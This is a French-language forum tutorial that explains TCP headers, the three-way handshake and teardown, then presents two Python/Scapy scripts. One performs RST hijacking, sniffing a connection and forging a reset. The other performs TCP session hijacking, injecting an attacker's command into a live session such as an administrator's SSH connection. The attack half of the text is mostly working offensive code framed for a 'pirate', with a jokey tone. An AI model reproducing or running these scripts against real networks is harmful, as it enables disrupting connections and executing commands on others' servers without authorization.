/!\ Attention a l'indentation des scripts de l'article /!\
Pour une lecture plus agréable, veuillez télécharger le document!

Qu'est-ce que TCP

Transmission Control Protocol,
est un protocole utilisé pour transmettre des données
entre une machine A et une Machine B.
Il gère de "A à Z" la connexion (Établissement, Transfert, etc)en utilisant un système de Drapeaux ou Flags.
"Couplé" avec IP (Internet Protocole) qui assure le bon routage des paquets,il forme le modèle TCP/IP.
Une trame TCP est constituée comme ceci:
[code=bash]
 0                   1                   2                   3   
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Port Source           |     Port de Destination       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Numéro de Séquence                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Numéro d'acquiescement                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Offset |           |+|+|+|+|+|+|                               |
|  des  | Reservé   |+| Flags |+|      Fenêtre (Window)         |
|données|           |+|+|+|+|+|+|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Checksum            |         Pointeur Urgent       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Options                    |    Padding    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             Données                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
[/code]
Port source (16 bits):
C'est le port qui est utilisé par la machine source.

Port de Destination (16 bits):
C'est le port qui est utilisé par la machine de destination.

Numéro de Séquence (32 bits):
C'est le numéro du paquet

Numéro d'acquiescement (32 bits):
C'est un accusé de réception pour les paquets reçus.
Il définit le prochain "Numéro de Séquence".

Offset des données (4 bits):
Ce champ indique où débute les données.

Réserve:
Ce champ sert pour des besoins futurs, il est à 0.

Flags (1 bit):
 URG: Pointeur de données urgente
 ACK: Acquittement
 SYN: Synchronisation
 PSH: Transfert de données
 FIN: Fin de transmission
 RST: Reset de la connexion


Fenêtre (16 bits):
C'est le nombre d'octets que le récepteur est capable de recevoir à partir de la position indiquée dans l'accusé de réception


Checksum (16 bits):
Indique la validité du paquet

Pointeur Urgent (16 bits):
Donne la position de données urgentes et son décalage par rapport au numéro de séquence, ce champ est activé que lorsque le Flag URG est à 1

Options (8 bits):
Option mono-octet Octet de type, de longueur et de valeur d'option


Padding (0 à 7 bits): 
"Bourre" le champ Options pour obtenir une trame TCP multiple de 32 bits

Données:
Ce sont les données transmises (login, mot de passe, etc)


Pour plus d'informations consultez la RFC739.


Three-Way Handshake

Un nom bien bisard je vous l'accorde, il s'agit tout simple du terme utilisé pour désigner les Trois Étapes d'établissement d'une Connexion que nous allons voir ci-dessous.

Première Étapes:

A --------       Flag SYN, seq=x        --------> B

A envoie a B une demande de synchronisation pour débuter un dialogue en indiquant un numéro de séquence égale a x.


Deuxieme Étapes:

A <------- Flag SYN/ACK, seq=y, ack=x+1 --------- B

B acquiesce le numéro de séquence de A
en lui indiquant son numéro de séquence qui est égale a y,
puis un numéro d'ack égale a x+1


Troisième Étapes:

A --------  Flag ACK, seq=x+1, ack=y+1  --------> B

A acquiesce le numéro de séquence de B
en lui indiquant sont numéro de séquence qui est égale a x+1 (la valeur ack du paquet précédent)
puis un numéro d'ack égale a y+1 (la valeur seq du paquet précédent)



Transfert de données

Pour le transfert de données TCP utilise le flag PSH (push) et le flag ACK.

A -------- Flag PSH/ACK, seq=y+1, ack=x+1, DATA=test\n --------> B 
A <-------    Flag ACK, seq=x+1, ack=(y+1)+len(DATA)   --------- B

A envoie la donnée test\n a B
B quand a lui acquiesce la réception en indiquant 
comme numéro de séquence, l'ack du paquet précédent.
Et comme accusé la valeur du numéro de séquence du paquet précédent plus 
la taille des données reçues



Fin de Connexion

Pour mettre fin à une connexion,
TCP utilise le flag FIN pour terminer proprement la connexion
mais en réaliter, dans la plupart des cas, il utilise le flag RST (reset)
qui lui finit brutalement la connexion.


RST Hijacking

Le RST Hijacking consiste à clore nous-mêmes
la connexion via un paquet TCP avec le flag RST (reset),
pour cela il nous faut avoir le numéro de séquence
et l'acknoledge afin que le paquet soit accepté
et que la connexion se termine.
Pour ce faire nous allons coder un script python en utilisant Scapy.

Exemple: P pour pirate.

A -------- Flag PSH/ACK, seq=1000, ack=1200, DATA=salut\n --------> B
A <-------          Flag ACK, seq=1200, ack=1006          --------- B
P --------          Flag RST, seq=1006, ack=1200          --------> B


Le Script:
[code=python]
# RST Hijacking Script
# Usage: rsthijack.py remote_host remote_port target
#!usr/bin/env/python
     
"""On importe tout les modules de scapy et sys"""
from scapy.all import *
import sys
     
"""Filtre a appliqué au Sniffer"""
filtre = "host " + sys.argv[1] + " and port " + sys.argv[2]
print "Waiting..."
print " "
     
"""Fonction Utilisée par le sniffer à chaque paquet reçu"""
def rst_hijack(p):
   
 """Si la Source est celle du remote_host (client ou serveur) et la destination celle de la cible"""
 if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]:
    print "[+] Connection Found!"
    print " "
    print "[+] It's time to blow this shit!"
     
"""Alors on forge un Paquet pour notre attaque a partir du paquet reçu"""
     
"""Ethernet"""
ether = Ether(dst=p[Ether].src, src=p[Ether].dst)
     
"""IP"""
ip = IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl,
proto=p[IP].proto, id=29321)
     
"""TCP, flag: RST"""
tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs,
reserved=p[TCP].reserved, flags="R", window=p[TCP].window, options=p[TCP].options)
     
"""On forme le paquet final"""
reset = ether/ip/tcp

"""On l'envoi"""
sendp(reset)
     
"""On sort du script"""
sys.exit()
       
"""Sniffer qui applique à chaque paquet reçu la fonction rst_hijack, paquet trié selon le filtre"""
sniff(count=0,prn = lambda p : rst_hijack(p),filter=filtre,lfilter=lambda(f): f.haslayer(IP) and f.haslayer(TCP))
[/code]

TCP Session Hijacking

Le TCP Session Hijacking lui, a pour but de "voler" la connexion! 
Je m'explique, imaginez qu'un administrateur réseau se connecte sur son serveur SSH.
Il crée une connexion d'un client A à un Serveur B qui dialogue entre eux en utilisant un numéro de séquence et un acknoledge que seul A et B connaisse.
Nous, en récupérant les valeurs, nous pouvons répondre avant A, ce qui aura pour effet de nous donner la connexion et de désynchroniser A de B.

NB: Désynchroniser A provoquera ce que l'on appelle un ACK storm, une tempête d'ACK entre A et B.


Exemple: P pour pirate.
[code=bash]
A -------- Flag PSH/ACK, seq=1000, ack=1200, DATA=Hey\n --------> B
A <-------          Flag ACK, seq=1200, ack=1004        --------- B
P ------ Flag PSH/ACK, seq=1004, ack=1200, DATA=Mouhaha\n ------> B
P <-------          Flag ACK, seq=1200, ack=1012        --------- B

--------------------------- ACK Storm -----------------------------

A ----------------------       ACK       -----------------------> B
A <---------------------       ACK       ------------------------ B
A ----------------------       ACK       -----------------------> B
A <---------------------       ACK       ------------------------ B
[/code]

Reprenons le précédent script en modifiant quelques lignes:
[code=python]
#TCP Session Hijacking Script
#Usage: hijack.py serveur_ip serveur_port client_ip
#!usr/bin/env/python
     
from scapy.all import *
import sys

"""Filtre a appliqué au Sniffer"""
filtre = "host " + sys.argv[1] + " and port " + sys.argv[2]
print "Waiting For Hosts " + sys.argv[1] + " > " + sys.argv[3] + " And Port " + sys.argv[2]
print " "
     
def hijack(p):
 cmd=sys.argv[4] """On Stock la commande a executer"""
     
 if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]:
    print "[+] Found!"
    print "Seq: " + str(p[TCP].seq) + " | Ack: " + str(p[TCP].ack)
    """Seq = Seq_du_paquet_precedent + Len_des_Datas"""
    print "Hijack Seq: " + str(p[TCP].ack) + " |  Hijack Ack: " + str(p[TCP].seq)
    print " "
    print "[+] Hijack Session!"
     
"""Ethernet"""
ether = Ether(dst=p[Ether].src, src=p[Ether].dst)
     
"""IP"""
ip = IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl,
proto=p[IP].proto, id=29321)
     
"""TCP, flag: PUSH/ACK"""
tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs,
reserved=p[TCP].reserved, flags="PA", window=p[TCP].window, options=p[TCP].options)
     
"""On ajoute la commande au paquet"""
hijack = ether/ip/tcp/(cmd+"\n")
sendp(hijack)
   
"""On sort du script, sinon il repondrat dans l'ACK Storm"""
sys.exit()
       
"""Sniffer qui applique à chaque paquet reçu la fonction hijack, paquet trié selon le filtre"""
sniff(count=0,prn = lambda p : hijack(p),filter=filtre,lfilter=lambda(f): f.haslayer(IP) and f.haslayer(TCP))
[/code]

Conclusion

Il n'y a aucun doute que ce genre de technique peut être terriblement dangereuse sur un réseau local, de plus la présence des deux machines sur le réseau n'est pas requise, en effet une seul suffit.Une attaque aveugle à distance reste possible bien que très difficile au niveau de la prédiction des ISN, des études ont déjà vu le jour et montre que la génération des ISN n'est pas si implacable.

Remerciement

Je tiens à remercier aaSSfxxx et B@rBcH pour leurs relectures 